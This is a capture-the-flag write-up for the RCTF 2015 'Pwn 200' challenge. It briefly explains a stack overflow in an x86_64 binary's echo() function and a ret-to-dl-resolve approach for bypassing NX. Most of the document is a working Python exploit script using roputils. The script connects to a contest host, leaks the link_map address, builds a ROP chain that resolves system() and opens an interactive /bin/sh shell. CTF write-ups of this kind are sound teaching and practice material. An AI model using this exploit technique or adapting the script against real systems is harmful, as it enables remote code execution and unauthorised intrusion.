RCTF 2015 Pwn 200
A x86_64 program without libc, and protected with NX and maybe ASLR. A stack overflow problem can be easily found in function echo()
:
The space on the stack is only 0x20, while we can give a string length at 0x400 and completely controlable. Ret-to-dl-resolve will also be used to escape from NX.
However, the function echo()
will stop copying once it meets a 0x00. After a reconsidering of this stack structure, it is not something big. Since our data is also stored on stack, and under x86_64, since arguments are not passed through stack(at least in this function), we can just make the copy function stop at a certain point, and pop
again to use our own rop chain. Though it might be stripped in echo()
, we can actually not considering it.
The exp script is as below.
Thanks to Bigtang for showing me this way to bypass its protect.
Thanks to roputils for its excellent script.
#"a"*24 -> pop4+ret -> [ROP jobs]
from roputils import *
offset=32
fpath='./pwn200'
#p=Proc(rop.fpath)
p=Proc(host='180.76.178.48',port=6666)
rop=ROP(fpath)
addr_stage=rop.section('.bss')+0x400
ptr_ret=rop.search(rop.section('.fini'))
buf='a'*24+'\x9c\x08\x40\x00\x00\x00\x00\x00'
buf += rop.call_chain_ptr( # have a rop chain to leak the address
['write', 1, rop.got()+8, 8],
['read', 0, addr_stage, 420]
, pivot=addr_stage)
buf += rop.fill(0x100, buf)
p.write(buf)
p.read(16)
addr_link_map = p.read_p64()
print("link_map is at %s" % hex(addr_link_map))
addr_dt_debug = addr_link_map + 0x1c8
buf = rop.call_chain_ptr(
['read', 0, addr_dt_debug, 8],
[ptr_ret, addr_stage+400]
)
buf += rop.dl_resolve_call(addr_stage+300)
buf += rop.fill(300, buf)
buf += rop.dl_resolve_data(addr_stage+300, 'system')
buf += rop.fill(400, buf)
buf += rop.string('/bin/sh')
buf += rop.fill(420, buf)
p.write(buf)
p.write_p64(0)
p.interact(0)